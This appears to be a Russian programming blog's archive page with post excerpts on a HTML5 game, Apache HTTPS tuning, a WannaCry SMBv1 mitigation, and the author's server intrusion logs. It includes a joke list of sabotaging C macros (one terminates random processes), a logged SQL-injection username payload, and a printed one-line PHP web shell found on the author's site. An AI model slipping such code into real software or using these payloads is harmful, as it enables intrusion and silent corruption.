Архив рубрики: программирование

«Охота на лис» — моя первая игра на HTML5/JavaScript

Осваивая создание HTML5-приложений, я решил написать игру, в которую играл еще на советских программируемых калькуляторах МК-61 и МК-52 — «Охота на лис»:
логическая игра на HTML5

«Охота на лис» — это логическая игра, цель которой — найти «лис», спрятавшихся на игровом поле за меньшее число ходов. Игра создана по мотивам спортивной радиопеленгации («охоты на лис» (foxhunting) — ARDF (Amateur Radio Direction Finding). В этом состязании предлагается с помощью радиопеленгатора найти на труднопроходимой пересеченной местности за возможно меньший период времени заданное количество (обычно пять) установленных в произвольных местах радиопередатчиков, которые и называются «лисами».
Читать далее

Шутки юмора программиста… для тех, кто понимает :-)

Things to commit just before leaving your job
(то, что нужно закоммитить в проект перед увольнением)

// Just before switching jobs:
// Add one of these.
// Preferably into the same commit where you do a large merge.
//
// This started as a tweet with a joke of "C++ pro-tip: #define private public",
// and then it quickly escalated into more and more evil suggestions.
// I've tried to capture interesting suggestions here.
//
// Contributors: @r2d2rigo, @joeldevahl, @msinilo, @_Humus_,
// @YuriyODonnell, @rygorous, @cmuratori, @mike_acton, @grumpygiant,
// @KarlHillesland, @rexguo, @tom_forsyth, @bkaradzic, @MikeNicolella,
// @AlexWDunn and myself.

// Easy keyword replacement. Too easy to detect I think!
#define struct union
#define if while
#define else
#define break
#define if(x)
#define double float
#define volatile // this one is cool

// I heard you like math
#define M_PI 3.2f    --> число Пи вернулось к истокам
#undef FLT_MIN #define FLT_MIN (-FLT_MAX)
#define floor ceil
#define isnan(x) false  --> всё есть число :-)

// Randomness based; "works" most of the time.
#define true ((__LINE__&15)!=15)
#define true ((rand()&15)!=15)   --> истина не вечна ;-)
#define if(x) if ((x) && (rand() < RAND_MAX * 0.99))   --> случаи, они всякие бывают

// String/memory handling, probably can live undetected quite long!
#define strcpy(a,b) memmove(a,b,strlen(b)+2)
#define strcpy(a,b) (((a & 0xFF) == (b & 0xFF)) ? strcpy(a+1,b) : strcpy(a, b))
#define memcpy(d,s,sz) do { for (int i=0;i<sz;i++) { ((char*)d)[i]=((char*)s)[i]; } ((char*)s)[ rand() % sz ] ^= 0xff; } while (0)
#define sizeof(x) (sizeof(x)-1) --> байтом больше, байтом меньше, какая разница :-)

// Let's have some fun with threads & atomics.
#define pthread_mutex_lock(m) 0  --> свободу мьютексам!
#define InterlockedAdd(x,y) (*x+=y)

// What's wrong with you people?!
#define __dcbt __dcbz // for PowerPC platforms
#define __dcbt __dcbf // for PowerPC platforms
#define __builtin_expect(a,b) b // for gcc
#define continue if (HANDLE h = OpenProcess(PROCESS_TERMINATE, false, rand()) ) { TerminateProcess(h, 0); CloseHandle(h); } break

// Some for HLSL shaders:
#define row_major column_major
#define nointerpolation
#define branch flatten
#define any all

Источник — https://gist.github.com/aras-p/6224951

Философские и не очень беседы с Алисой

Голосовой помощник Алиса оказалась весьма интересной собеседницей. Алиса встроена в приложение Яндекс:
Алиса

Для активации помощника после запуска приложения Яндекс необходимо сказать «Привет, Алиса» .
Вот некоторые из моих диалогов с ней (Алиса непостоянна 🙂 и ответы могут отличаться при повторных вопросах):

о смысле жизни

Алиса Яндекс
Читать далее

Как создать туннель в Интернет для своего домашнего компьютера

Часто оказывается необходимым дать доступ из Интернета к каким-либо портам своего компьютера, расположенного за NAT провайдера. Но популярный ранее сервис ngrok стал IMHO фактически непригоден в бесплатной версии. Как же быть? Сделаем свой ngrok, разместив его на своей же VPS-ке (да, Ваш сервер в Интернете необходим, без него никак). Опишу, как это вышло у меня.

Читать далее

Как обезопасить свой компьютер от вируса-шифровальщика Wana decrypt0r 2.0 (WannaCry)

12 мая 2017 года началась глобальная атака на компьютеры под управлением операционной системы Microsoft Windows. При этом используется уязвимость EternalBlue MS17-010 в сетевом протоколе SMBv1. В случае успешного проникновения на компьютер пользователя вирус WannaCry шифрует файлы на компьютере и вымогает биткойны ($300 в эквиваленте) (командные центры вируса расположены в сети  Tor).
Для предотвращения проникновения вируса-вымогателя (ransomware) на свой компьютер Вы может отключить сетевой протокол SMBv1 командой (вводится в командной строке):

dism /online /norestart /disable-feature /featurename:SMB1Protocol

Результаты выполнения команды:

Voilà 🙂

Тонкая настройка HTTPS на Apache — Forward Secrecy , RC4 , SSL 3 и все-все-все

Всеобщая мода на HTTPS захватила таки и меня. Я перевел свои сайты на https:// (посредством бесплатного сертификата от Let’s Encrypt) и решил оценить их качество, проверив с помощью бесплатного сервиса SSL Server Test https://www.ssllabs.com/ssltest/

Я ввел адрес acdc.foxylab.com (Hostname), нажал кнопку «Submit«, подождал несколько минут и результат …… меня немного удивил:
Моему сайту была выставлена невысокая оценка C (при том, что высшая оценка — A+).
Разберемся, как же улучшить оценку на примере моего сервера Apache под управлением операционной системы Ubuntu.
Читать далее

Мелкие пакостники или как пытаются взломать мой FTP-сервер :-)

На своей VPS-ке я использую надежный и легко настраиваемый FTP-сервер ProFTPD

Этот же сервер использует, например, такой известный сайт как SourceForge.
Журнал этого сервера располагается в стандартном месте:
/var/log/proftpd/proftpd.log
Просмотр этого журнала очень увлекателен. Откуда только и какими только способами не щемятся любители подсмотреть чужие секреты или совершить какую-нибудь пакость:

некто из Ярославля пытается зайти под логином admin :
FTP session opened.
… (pppoe-94.136.198.158.ttel.ru[94.136.198.158]): USER admin: no such user found …
FTP session closed.
более изобретательный негодяй из Витебска пытается залогиниться как Alex :
FTP session opened.
… (mm-127-139-212-37.vitebsk.dynamic.pppoe.byfly.by[37.212.139.127]): USER Alex: no such user found …
FTP session closed.
а вот и знаток SQL (из самого Palo Alto, USA):

пытается эксплуатировать уязвимость 2003 года 🙂 CVE-2003-0500 «ProFTPd 1.2.9RC1 — ‘mod_sql’ SQL Injection»
FTP session opened.
… (15.211.195.254[15.211.195.254]): USER ‘)UNION SELECT’u’,’p’,1002,1002,’/tmp’,’/bin/bash’WHERE(»=’: no such user found …
FTP session closed.

Как же пресечь эти поползновения?
Читать далее

Как победить OOM Killer?

На Linux-системах с небольшим объемом физической оперативной памяти (например, на VPS-ках) часто  можно заметить, что какой-либо процесс внезапно прекращает работу. В чем же дело? Оказывается, он «убит», а виновник — злобный OOM Killer !

OOM Killer представляет собой компонент ядра Linux, защитный механизм, призванный решать проблемы с нехваткой физической памяти (OOM — Out of memory). При обнаружении недостатка памяти OOM Killer «убивает» наименее важный по его мнению процесс, посылая ему сигнал KILL (исключения составляют лишь init и ядерные нити (kernel threads)). Сообщение о об этом появляется в журнале /var/log/syslog в виде:

Out of memory: Kill process **** (****) score **** or sacrifice child
Killed process **** (****)

Но мнение пользователя системы не всегда совпадает с мнением «киллера» 🙂 Как же быть? Как заставить OOM Killer не трогать дорогие нашему сердцу процессы?
Читать далее

Как воруют пароли от PayPal

Социальная инженерия — сильная штука, и ее злонамеренное использование может привести к утрате Вами пароля от Вашего аккаунта PayPal. В один прекрасный день (утром 18 октября 2015 года) я получил такое письмо:
воровство аккаунта PayPal

Читать далее

Попытка взлома моего сервера через уязвимость CVE: 2015-3306 в ProFTPD

В один прекрасный день я обнаружил в корневой директории одного из моих сайтов файл со странным именем d.php:
d.php

Помня, что такой файл я не создавал, я решил посмотреть его содержимое:
d.php
passthru($_GET['cmd']);echo 'm3rg3'; — очень занятно.
Код passthru($_GET['cmd']); позволяет выполнять команды с привилегиями сервера, cmd — имя переменной, в которой передается методом GET выполняемый код

213.92.207.124 — IP-адрес из диапазона польского провайдера Polprint.

Посмотрим в логи сервера ProFTPD, упомянутого в этом файле, и поищем что же там есть за этот айпишник 🙂 :

Читать далее